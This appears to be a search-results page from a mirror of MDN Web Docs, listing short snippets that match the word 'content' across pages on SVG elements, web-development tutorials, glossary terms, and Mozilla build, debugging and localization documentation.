contents of the <marker>.
...ive, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment ...
<mask> - SVG: Scalable Vector Graphics
value type: <length> ; default value: 120%; animatable: yes mask
contentunits this attribute defines the coordinate system for the
contents of the <mask>.
...requiredextensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, display, fill, fill-opacity, fill-rule, filter, mask, opacity, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment ...
<missing-glyph> - SVG: Scalable Vector Graphics
the <missing-glyph> svg element's
content is rendered, if for a given character the font doesn't define an appropriate <glyph>.
... usage context categoriesnonepermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgmissingglyphelement interface.
<pattern> - SVG: Scalable Vector Graphics
value type: <url>; default value: none; animatable: yes pattern
contentunits this attribute defines the coordinate system for the
contents of the <pattern>.
...or-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes most notably: xlink:title usage notes categoriescontainer elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment ...
<script> - SVG: Scalable Vector Graphics
while svg's script element is equivalent to the html <script> element, it has some discrepancies, like it uses the href attribute instead of src and it doesn't support ecmascript modules so far (see browser compatibility below for details) html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <script> // <![cdata[ window.addeventlistener('dom
contentloaded', () => { function getcolor () { const r = math.round(math.random() * 255).tostring(16).padstart(2,'0') const g = math.round(math.random() * 255).tostring(16).padstart(2,'0') const b = math.round(math.random() * 255).tostring(16).padstart(2,'0') return `#${r}${g}${b}` } document.queryselector('circle').addeventlistener('click', (e) => { e.target.st...
... value type: <url> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted
contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<script>' in that specification.
<style> - SVG: Scalable Vector Graphics
the svg <style> element allows style sheets to be embedded directly within svg
content.
... value type: <string>; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted
contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<style>' in that specification.
<tref> - SVG: Scalable Vector Graphics
the textual
content for a <text> svg element can be either character data directly embedded within the <text> element or the character data
content of a referenced element, where the referencing is specified with a <tref> element.
... usage context categoriestext
content element, text
content child elementpermitted
contentany number of the following elements, in any order:descriptive elements<animate>, <animatecolor>, <set> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired specific attributes xlink:href dom interface this element implements the svgtrefelement interface.
SVG as an Image - SVG: Scalable Vector Graphics
many browsers support svg images in: html <img> or <svg> elements css background-image gecko-specific contexts additionally, gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduced support for using svg in these contexts: css list-style-image css
content svg <image> element svg <feimage> element canvas drawimage function restrictions for security purposes, gecko places some restrictions on svg
content when it's being used as an image: javascript is disabled.
... note that the above restrictions are specific to image contexts; they don't apply when svg
content is viewed directly, or when it's embedded as a document via the <iframe>, <object>, or <embed> elements.
SVG In HTML Introduction - SVG: Scalable Vector Graphics
(for inline svg to work in both firefox and internet explorer it is necessary to serve documents with a different
content-type to each browser.
... for this reason, if you're behind a proxy server that caches the page, the example wont work in the second browser you load it in because it will receive the wrong
content-type.) ...
SVG and CSS - SVG: Scalable Vector Graphics
copy and paste the
content from here, making sure that you scroll to get all of it: <svg width="600px" height="600px" viewbox="-300 -300 600 600" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <radialgradient id="fade" cx="0" cy="0" r="200" gradientunits="userspaceonu...
...copy and paste the
content from here, making sure that you scroll to get all of it: /*** svg demonstration ***/ /* page */ svg { background-color: beige; } #heading { font-size: 24px; font-weight: bold; } #caption { font-size: 12px; } /* flower */ #flower:hover { cursor: crosshair; } /* gradient */ #fade-stop-1 { stop-color: blue; } #fade-stop-2 { stop-color: white; } /* petals */ .segment-fill { fi...
SVG: Scalable Vector Graphics
applying svg effects to html
content svg works together with html, css and javascript.
... some real eye-candy svg at svg-wow.org firefox extension (grafox) to add a subset of smil animation support interactive photos manipulation html transformations using svg's foreignobject mapping, charting, games & 3d experiments while a little svg can go a long way to enhanced web
content, here are some examples of heavy svg usage.
Web Components
slotable a mixin implemented by both element and text nodes, defining features that allow them to become the
contents of an <slot> element.
... css pseudo-elements pseudo-elements relating specifically to slots: ::slotted: matches any
content that is inserted into a slot.
<xsl:include> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:include> element merges the
contents of one stylesheet with another.
... unlike the case of <xsl:import>, the
contents of an included stylesheet have exactly the same precedence as the
contents of the including stylesheet.
XSLT: Extensible Stylesheet Language Transformations
although the process is referred to as "transformation," the original document is not changed; rather, a new xml document is created based on the
content of an existing document.
... transforming xml with xslt xslt allows a stylesheet author to transform a primary xml document in two significant ways: manipulating and sorting the
content, including a wholesale reordering of it if so desired, and transforming the
content into a different format.
Understanding WebAssembly text format - WebAssembly
in a normal compiled c program, you’d call a function to allocate some memory for the string, but since we’re just writing our own assembly here and we own the entire linear memory, we can just write the string
contents into global memory using a data section.
...linear memory exposes the raw
contents of stored values as bytes and this would allow wasm
content to arbitrarily observe and corrupt raw function addresses, which is something that cannot be allowed on the web.
Using the WebAssembly JavaScript API - WebAssembly
memory imports are useful for two reasons: they allow javascript to fetch and create the initial
contents of memory before or concurrently with module compilation.
... while memory provides a resizable typed array of raw bytes, it is unsafe for references to be stored in a memory since a reference is an engine-trusted value whose bytes must not be read or written directly by
content for safety, portability, and stability reasons.
Game monetization - Game development
add-ons and dlcs add-ons and downloadable
content are a good way to provide extra value to an already released game, but remember that you'll have to offer decent, entertaining
content to attract people to buy it.
WebVR — Virtual Reality for the Web - Game development
for example, the below code outputs position information on the screen: function setview() { var posstate = gpositionsensor.getstate(); if(posstate.hasposition) { pospara.text
content = 'position: x' + roundtotwo(posstate.position.x) + " y" + roundtotwo(posstate.position.y) + " z" + roundtotwo(posstate.position.z); xpos = -posstate.position.x * width * 2; ypos = posstate.position.y * height * 2; if(-posstate.position.z > 0.01) { zpos = -posstate.position.z; } else { zpos = 0.01; } ...
Audio for Web games - Game development
as long as byte-range requests are accepted (which is the default behavior), we should be able to jump to a specific point in the audio without having to download the preceding
content.
Buttons - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-
content-kit/demos/lesson15.html.
Extra lives - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-
content-kit/demos/lesson13.html.
Breadcrumb - MDN Web Docs Glossary: Definitions of Web-related terms
a breadcrumb, or breadcrumb trail, is a navigational aid that is typically placed between a site's header and the main
content, displaying either a hierarchy of the current page in relation to the the site's structure, from top level to current page, or a list of the links the user followed to get to the current page, in the order visited.
Card sorting - MDN Web Docs Glossary: Definitions of Web-related terms
card sorting is a simple technique used in information architecture whereby people involved in the design of a website (or other type of product) are invited to write down the
content / services / features they feel the product should contain, and then organize those features into categories or groupings.
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
the time between when
content is painted to the page and when all the functionality becomes responsive to human interaction often varies based on the the size and complexity of the javascript needing to be downloaded, parsed, and executed on the main thread, and on the device speed or lack thereof (think low end mobile devices).
Flex - MDN Web Docs Glossary: Definitions of Web-related terms
learn more property reference align-
content align-items align-self flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap justify-
content order further reading css flexible box layout module level 1 specification css flexbox guide: basic concepts of flexbox css flexbox guide: relationship of flexbox to other layout methods css flexbox guide: aligning items in a flex container css flexbox guide: orderi...
Flexbox - MDN Web Docs Glossary: Definitions of Web-related terms
learn more property reference align-
content align-items align-self flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap justify-
content order further reading css flexible box layout module level 1 specification css flexbox guide: basic concepts of flexbox css flexbox guide: relationship of flexbox to other layout methods css flexbox guide: aligning items in a flex container css flexbox guide: orderi...
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
forbidden header names start with proxy- or sec-, or are one of the following names: accept-charset accept-encoding access-control-request-headers access-control-request-method connection
content-length cookie cookie2 date dnt expect feature-policy host keep-alive origin proxy- sec- referer te trailer transfer-encoding upgrade via note: the user-agent header is no longer forbidden, as per spec — see forbidden header name list (this was implemented in firefox 43) — it can now be set in a fetch headers object, or via xhr setrequestheader().
Media - MDN Web Docs Glossary: Definitions of Web-related terms
media (audio-visual presentation) the term media (more accurately, multimedia) refers to audio, video, or combined audio-visual material such as music, recorded speech, movies, tv shows, or any other form of
content that is presented over a period of time.
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
uld allow a delete request, before sending a delete request, by using a preflight request: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org if the server allows it, then it will respond to the preflight request with an access-control-allow-methods response header, which lists delete: http/1.1 204 no
content connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 the preflight response can be optionally cached for the requests created in the same url using access-control-max-age header like in the above example.
Type, class, and ID selectors - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing
content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS selectors - Learn web development
adjacent sibling combinator h1 + p adjacent sibling general sibling combinator h1 ~ p general sibling in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing
content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
What is CSS? - Learn web development
it can be used to create layout — for example turning a single column of text into a layout with a main
content area and a sidebar for related information.
Styling lists - Learn web development
ent.getelementbyid("reset"); var htmlcode = htmlinput.value; var csscode = cssinput.value; var output = document.queryselector(".output"); var solution = document.getelementbyid("solution"); var styleelem = document.createelement('style'); var headelem = document.queryselector('head'); headelem.appendchild(styleelem); function drawoutput() { output.innerhtml = htmlinput.value; styleelem.text
content = cssinput.value; } reset.addeventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = csscode; drawoutput(); }); solution.addeventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = 'ul {\n list-style-type: square;\n}\n\nul li, ol li {\n line-height: 1.5;\n}\n\nol {\n list-style-type: lower-alpha\n}'; drawoutput(); }); htmlinput.ad...
What is a URL? - Learn web development
an anchor represents a sort of "bookmark" inside the resource, giving the browser the directions to show the
content located at that "bookmarked" spot.
Example - Learn web development
a simple form html
content <form action="/my-handling-form-page" method="post"> <div> <label for="name">name:</label> <input type="text" id="name" name="user_name"> </div> <div> <label for="mail">e-mail:</label> <input type="email" id="mail" name="user_email"> </div> <div> <label for="msg">message:</label> <textarea id="msg" name="user_message"></textarea> </div> <div class="button"> <button type="submit">send your message</button> </div> </form> css
content form { /* just to center the form on the page */ margin: 0 auto; width: 400px; /* to see the limits of the form */ padding: 1em; border: 1px solid #ccc; border-radius: 1em; } div + div { margin-top: 1em...
Your first form - Learn web development
the main advantage of the <button> element is that the <input> element only allows plain text in its label whereas the <button> element allows full html
content, allowing more complex, creative button
content.
Front-end web developer - Learn web development
subjects covered the subjects covered are: basic setup and learning how to learn web standards and best practices (such as accessibility and cross-browser compatibility) html, the language that gives web
content structure and meaning css, the language used to style web pages javascript, the scripting language used to create dynamic functionality on the web tooling that is used to facilitate modern client-side web development.
HTML Cheatsheet - Learn web development
mple image <img src="https://udn.realityripple.com/samples/6e/d6ed76c6c7.png" width="25" /> a generic inline container <p>p its used to <span style="color:blue">style and group</span> particular elements </p> p its used to style and group particular elements another inline container <p>span its used to differentiate a part <span style="color:blue">of the
content</span> that we will work on differently </p> span its used to differentiate a part of the
content that we will work on differently emphasize some text <em>i'm posh</em> i'm posh italic textt you can mark a phrase in the text in <i>italics</i> you can mark a phrase in the text in italics bold some text <b>bold a word or phrase</b>within the te...
Marking up a letter - Learn web development
metadata in html html text fundamentals creating hyperlinks advanced text formatting document and website structure debugging html marking up a letter structuring a page of
content ...
General asynchronous programming concepts - Learn web development
a time-consuming operation (calculates 10 million dates then logs the final one to the console) and then adds a paragraph to the dom: const btn = document.queryselector('button'); btn.addeventlistener('click', () => { let mydate; for(let i = 0; i < 10000000; i++) { let date = new date(); mydate = date } console.log(mydate); let pelem = document.createelement('p'); pelem.text
content = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); when running the example, open your javascript console then click the button — you'll notice that the paragraph does not appear until after the dates have finished being calculated and the console message has been logged.
Function return values - Learn web development
enter the following event handler below the existing functions: input.onchange = function() { const num = input.value; if (isnan(num)) { para.text
content = 'you need to enter a number!'; } else { para.text
content = num + ' squared is ' + squared(num) + '.
Test your skills: Events - Learn web development
dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text
contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
CSS performance optimization - Learn web development
@font-face { font-family: somefont; src: url(/path/to/fonts/somefont.woff) format('woff'); font-weight: 400; font-style: normal; font-display: fallback; } the contain property the contain css property allows an author to indicate that an element and its
contents are, as much as possible, independent of the rest of the document tree.
Web performance resources - Learn web development
<link rel="stylesheet" href="/path/to/my.css" media="print" onload="this.media='all'"> <noscript><link rel="stylesheet" href="/path/to/my.css"></noscript> the downside with this approach is the flash of unstyled text (fout.) the simplist way to address this is by inlining css that is required for any
content that is rendered above the fold, or what you see in the browser viewport before scrolling.
Routing in Ember - Learn web development
it contains the following
contents: import emberrouter from '@ember/routing/router'; import config from './config/environment'; export default class router extends emberrouter { location = config.locationtype; rooturl = config.rooturl; } router.map(function() { this.route('completed'); this.route('active'); }); the highlighted lines were added when the 2nd and 3rd commands above were run.
Deploying our app - Learn web development
wing test and build commands: "scripts": { … "test": "node tests/*.js", "build": "npm run test && parcel build src/index.html" } now of course we need to add the test to our codebase; create a new directory in your root directory called tests: mkdir tests inside the new directory, create a test file: cd tests touch nasa-feed.test.js open this file, and add the
contents of nasa-feed.test.js to it: this test uses the axios package to fetch the data feed we want to test; to install this dependency, run the following command: npm install --save-dev axios we need to manually install axios because parcel won't help us with this dependency.
Accessibility Information for Core Gecko Developers
html accessibility dynamic web
content is not accessible because it uses vanilla <div>s and <span>s combined with javascript rather than declarative markup to describe the behavior of custom widgets such as menus and tree views.
Information for users
> help
contents f1 > accessibility features) which describe any special features and keyboard shortcuts designed to help users with disabilities.
Links and Resources
wai - web accessibility initiative web
content accessibility guidelines (wcag) 1.0 the first set of official guidelines from the w3c web accessibility initiative (wai).
Index
the
content you add to a listing is therefore vital: from making effective use of keywords in your descriptions, to get visibility in external search engine results, through having an icon that attracts a user’s attention from a category list, to screenshots that show how useful your add-on is.
Obsolete
creating a skin for firefox uuid
contents.rdf install.rdf theme changes in firefox 2 theme changes in firefox 3 theme changes in firefox 3.5 theme changes in firefox 4 building a theme common theme issues and their solutions making sure your theme works with rtl locales creating a skin for seamonkey 2 dom inspector inspectorwidget force rtl yet another theme tutorial ...
Add-ons
among other things, an add-on could: change the appearance or
content of particular websites modify the firefox user interface add new features to firefox there are several types of add-ons, but the most common type are extensions.
Benchmarking
timer precision firefox reduces the precision of the performance apis and other clock and timer apis accessible to web
content.
What to do and what not to do in Bugzilla
bugs covered by this exception should not be invalidated by anyone other than the module owner or module peer; for bugs involving modules like layout or
content, attach a test case to the bug and then cc one of the owners or peers.
Cookies Preferences in Mozilla
(the old prefs are network.cookie.lifetime.enabled, network.cookie.lifetime.behavior, and network.cookie.warnaboutcookies.) true = prefs have been migrated false = migrate prefs on next startup original document information author(s): mike connor last updated date: may 22, 2004 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Cookies in Mozilla
original document information author(s): mike connor last updated date: march 15, 2004 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Capturing a minidump
unlike the minidumps submitted by breakpad, these minidumps contain the complete
contents of program memory.
Debugging JavaScript
name + " (" + frame.linenumber + ")"); } return lines.join("\n"); } see also debugging mozilla with gdb setting up an extension development environment (particularly development preferences and development extensions) original document information author(s): ben bucksch created date: september 12, 2005, last updated date: november 10, 2009 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Debugging on Mac OS X
creating an xcode project if you try to create a new xcode project in an existing directory then xcode will delete its existing
contents (xcode will warn you beforehand).
HTTP logging
export moz_log=timestamp,rotate:200,nshttp:5,cache2:5,nssockettransport:5,nshostresolver:5,cookie:5 export moz_log_file=~/desktop/log.txt cd /applications/firefox.app/
contents/macos ./firefox-bin (the instructions assume that you've installed firefox directly into your startup disk's applications folder.
Makefile - targets
export generate and install exported headers: exports makefiles target used to only regenerate makefiles package generate a package tarball clean targets clean remove object files, binaries and generated
content clobber alias for clean distclean clean + configure cleanup ...
Installing headers using EXPORTS
here is an example <tt>makefile.in</tt> which has both c++ and idl headers: module =
content xpidl_module =
content_base exports = \ nsi
content.h \ nsidocument.h \ nsistylesheet.h \ $(null) xpidlsrcs = \ nsi
contentpolicy.idl \ nsiselectioncontroller.idl \ $(null) include $(topsrcdir)/config/rules.mk ...
Old Thunderbird build
to run the executable from your comm-central working directory: windows: obj-.../dist/bin/thunderbird.exe linux: obj-.../dist/bin/thunderbird os x: obj-.../dist/daily.app/
contents/macos/thunderbird how to update and build again in your comm-central directory, run the same command as before: python client.py checkout then just re-run the mach command above.
Simple Instantbird build
to run the executable from your comm-central working directory: windows: obj-.../dist/bin/instantbird.exe linux: obj-.../dist/bin/instantbird os x: obj-.../dist/instantbird.app/
contents/macos/instantbird how to update and build again simply re-run the mach command above.
Simple SeaMonkey build
running seamonkey the seamonkey executable can be found in obj-sm-release/dist/bin/ (used to be obj-sm-release/mozilla/dist/bin/) on windows and linux and in obj-sm-release/dist/seamonkey.app/
contents/macos/ on mac.
Simple Sunbird build
mk_add_options moz_objdir=@topsrcdir@/objdir-sb-debug ac_add_options --enable-application=calendar ac_add_options --enable-debug ac_add_options --disable-optimize running sunbird the sunbird executable can be found in objdir-sb-release/mozilla/dist/bin/ (on mac, objdir-sb-release/dist/calendar.app/
contents/macos/).
Simple Thunderbird build
to run the executable from your comm-central working directory: windows: obj-.../dist/bin/thunderbird.exe linux: obj-.../dist/bin/thunderbird macos: obj-.../dist/daily.app/
contents/macos/thunderbird how to update and build again in your source directory: hg pull -u cd comm hg pull -u cd ..
Creating Custom Events That Can Pass Data
mozilla/
content/events/src/nseventdispatcher.cpp note: in the mozilla 1.8.x branch this code is actually in mozilla/
content/events/src/nseventlistenermanager.cpp this is quite an important file since this holds the createevent method which acts as a factory method dom events.
ESLint
my script is a frame-script, or includes items that loaded into
content scripts: add a line to tell eslint to use the frame-script environment: /* eslint-env mozilla/frame-script */ my script is a worker: add a line to tell eslint to use the worker environment: /* eslint-env worker */ or, to use a chrome worker environment: /* eslint-env mozilla/chrome-worker */ my file uses chrome/xb...
Interface Compatibility
web
content apis which are visible to web
content are not modified, except as a last resort when inherent security vulnerabilities or incompatibility with other browsers make it the only option.
SVG Guidelines
most of time, cdata isn't needed, for example, the
content in <style> tags doesn't need to be wrapped in a cdata section as the
content inside the tag is already correctly parsed as css.
mach
if it works, you can look at compiler warnings: $ ./mach warnings-list try running the program: $ ./mach run try running your program in a debugger: $ ./mach run --debug try running some tests: $ ./mach xpcshell-test services/common/tests/unit/ or run an individual test: $ ./mach mochitest browser/base/
content/test/general/browser_pinnedtabs.js you run mach from the source directory, so you should be able to use your shell's tab completion to tab-complete paths to tests.
Index
in private browsing windows (tabs, in firefox for android), firefox will block
content loaded from domains that track users across sites.
Blocked: All storage access requests
the permission can be changed or removed by: going to preferences >
content blocking in the custom
content blocking section, selecting a value other than all cookies for the cookies item if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to your element.
Blocked: Custom cookie permission
the permission can be changed or removed by: going to preferences >
content blocking > cookies and site data clicking on the manage permissions button and updating the listed exceptions ...
Errors
you can find further information about them by clicking on the links below: a request to access cookies or storage was blocked because of a custom cookie permission blocked because it came from a tracker and
content blocking is enabled blocked because we are blocking all storage access requests blocked because we are blocking all third-party storage access requests and
content blocking is enabled granted partitioned access because it came from a third-party and dynamic first-party isolation is enabled ...
Firefox and the "about" protocol
the array maps most of the urls, like config to urls in the chrome: pseudo protocol, such as chrome://global/
content/config.xul.
Firefox
contents experimental features in firefoxthis page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary.firefox and the "about" protocolthere is a lot of useful information about firefox hidden away behind the about: url protocol.
Firefox Operational Information Database: SQLite
in the manager, select the database you want to explore in the '(select profile database)' pulldown, click 'go', select one of the tables listed in the left column and see the current
contents of the database in the 'browse & search' tab.) some databases are used by the browser itself, others are used by applications that you have installed or used; for example:
content-prefs.sqlite cookies.sqlite download.sqlite formhistory.sqlite persmissions.sqlite places.sqlite search.sqlite signons.sqlite webappstore.sqlite ...
HTMLIFrameElement.executeScript()
syntax var mydomrequest = instanceofhtmliframeelement.executescript(script, options); return value a domrequest object that returns an onsuccess handler if the script is successfully executed against the loaded
content, or an onerror handler if not.
HTMLIFrameElement.findAll()
the findall() method of the htmliframeelement searches for a string in a browser <iframe>'s text
content; if found, the first instance of the string relative to the caret position will be highlighted.
mozbrowserclose
the mozbrowserclose event is fired when the
content of a browser <iframe> calls the window.close() method.
mozbrowserdocumentfirstpaint
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserdocumentfirstpaint", function() { console.log("first
content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserfindchange
the mozbrowserfindchange event is fired when a search method is invoked in the browser <iframe>
content.
mozbrowsericonchange
<link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <iframe>'s
content.
mozbrowserloadstart
var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserloadstart',function() { stopreload.text
content = 'x'; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.text
content = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpassword...
mozbrowseropentab
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropentab", function( event ) { console.log("a new document has opened containing the
content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserscroll
the mozbrowserscroll event is fired when the browser <iframe>
content scrolls.
HTMLIFrameElement.sendMouseEvent()
the sendmouseevent() method of the htmliframeelement interface allows you to fake a mouse event and send it to the browser <iframe>'s
content.
HTMLIFrameElement.zoom()
the zoom() method of the htmliframeelement interface changes the zoom factor of the browser <iframe>'s
content.
Gecko SDK
contents of the sdk the sdk contains the following: 1.9.2 idl files for frozen interfaces (under idl/) header files for frozen interfaces, xpcom functions, and nspr functions (under include/) import libraries or shared libraries (under lib/) static utility libraries (under lib/) various tools (under bin/) for more information about safely linking xpcom components using the xpcom "glue" library...
Gecko
gecko's function is to render web
content, such as html, css, xul, javascript, and render it on the user's screen or print it.
How to Report a Hung Firefox
pt('data:,let appinfo = components.classes["@mozilla.org/xre/app-info;1"];if (appinfo && appinfo.getservice(components.interfaces.nsixulruntime).processtype != components.interfaces.nsixulruntime.process_type_default) {components.utils.import("resource://gre/modules/ctypes.jsm");var zero = new ctypes.intptr_t(8);var badptr = ctypes.cast(zero, ctypes.pointertype(ctypes.int32_t));var crash = badptr.
contents;}', true); } other techniques on os x if you use a nightly build (>= firefox 16), you can use activity monitor's "sample process" feature to generate a sample.
IPDL Best Practices
implement (preferably reference counted) classes to wrap the shared data instead of letting several objects reference surfacedescriptors or their
content directly.
Extending a Protocol
quick start: extending a protocol this tutorial implements a simple ping-pong style ipdl protocol, which sends a message from the
content process (main thread) to the chrome process (ui thread).
Implementing QueryInterface
original document information author(s): scott collins last updated date: may 8, 2003 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Infallible memory allocation
be warned that any allocation that's controlled by the user or web
content may grow bigger than you expect; people and pages do surprising things all the time!
Integrated Authentication
original document information author(s): darin fisher last updated date: december 27, 2005 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
DownloadTarget
calling this method lets the download object's properties be updated if the user moves or deletes the target file or its associated ".part" file, which contains a partially-downloaded file's
contents.
JavaScript OS
the javascript os module contains tools that allow chrome
content (i.e.
Services.jsm
lication information service appshell nsiappshellservice application shell service blocklist nsiblocklistservice blocklist service cache nsicacheservice cache service cache2 nsicachestorageservice cache storage service clipboard nsiclipboard clipboard console nsiconsoleservice error console service
contentprefs nsi
contentprefservice
content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice nsiproperties directory service domstoragemanager nsidomstoragemanager dom storage manager ...
Timer.jsm
the timer.jsm javascript code module contains pure-javascript implementations of settimeout, cleartimeout, setinterval, and clearinterval that are compatible with the dom window functions, but that can be used by code that does not have access to a dom window (for example, javascript code modules or
content frame scripts).
Using JavaScript code modules
if you're writing an extension for firefox 4 and already have a chrome.manifest with a
content instruction in it, you can put the code module in your
content folder and reference it like your other
content files via chrome://<yourextension>/
content/<yourmodule>.jsm.
XPCOMUtils.jsm
examples definelazygetter var myservices = {}; cu.import('resource://gre/modules/xpcomutils.jsm'); //set it up xpcomutils.definelazygetter(myservices, 'as', function () { return cc['@mozilla.org/alerts-service;1'].getservice(ci.nsialertsservice) }); //when you need to use it myservices.as.showalertnotification('chrome://branding/
content/icon64.png', 'this was lazyloaded', 'this is a notification from myservices.as', null, null); ...
Application Translation with Mercurial
paste the following
content into the file: [ui] username = firstname lastname <mynick@example.com> merge = internal:merge [alias] qexport = export -g -r qtip qexportall = diff -r qparent [defaults] commit = -v diff = -p -u 8 qdiff = -p -u 8 qnew = -u [diff] git = 1 showfunc = 1 unified = 8 [extensions] hgext.mq = progress = [hooks] put in your name and email address which later will be public on the internet after ...
Localizing with Pontoon
the
contents of the <title> tag in websites and strings with placeables or different plural forms.
SVN for Localizers
translate the
content in those files, save them and check for differences by entering this command from the command-line: svn diff this command produces output with every change made to each file.
Writing localizable code
in most cases, you can just as well put the processing into the
content code and reference different key-value pairs in l10n.
gettext
# #, fuzzy msgid "" msgstr "" "project-id-version: package version\n" "report-msgid-bugs-to: \n" "pot-creation-date: 2009-09-28 16:18+0200\n" "po-revision-date: year-mo-da ho:mi+zone\n" "last-translator: full name <email@address>\n" "language-team: language <ll@li.org>\n" "mime-version: 1.0\n" "
content-type: text/plain; charset=charset\n" "
content-transfer-encoding: 8bit\n" "plural-forms: nplurals=integer; plural=expression;\n" #.
Fonts for Mozilla's MathML engine
note that using the add-on is not optimal since it forces your gecko browser to load a css stylesheet on each page you visit as well as web math fonts on all pages with mathml
content.
Fonts for Mozilla 2.0's MathML engine
the license allows you to "use this font as permitted by the eula for the product in which this font is included to display and print
content", so consulting your lawyer is recommended if considering installing this on systems without the associated product.
MathML3Testsuite
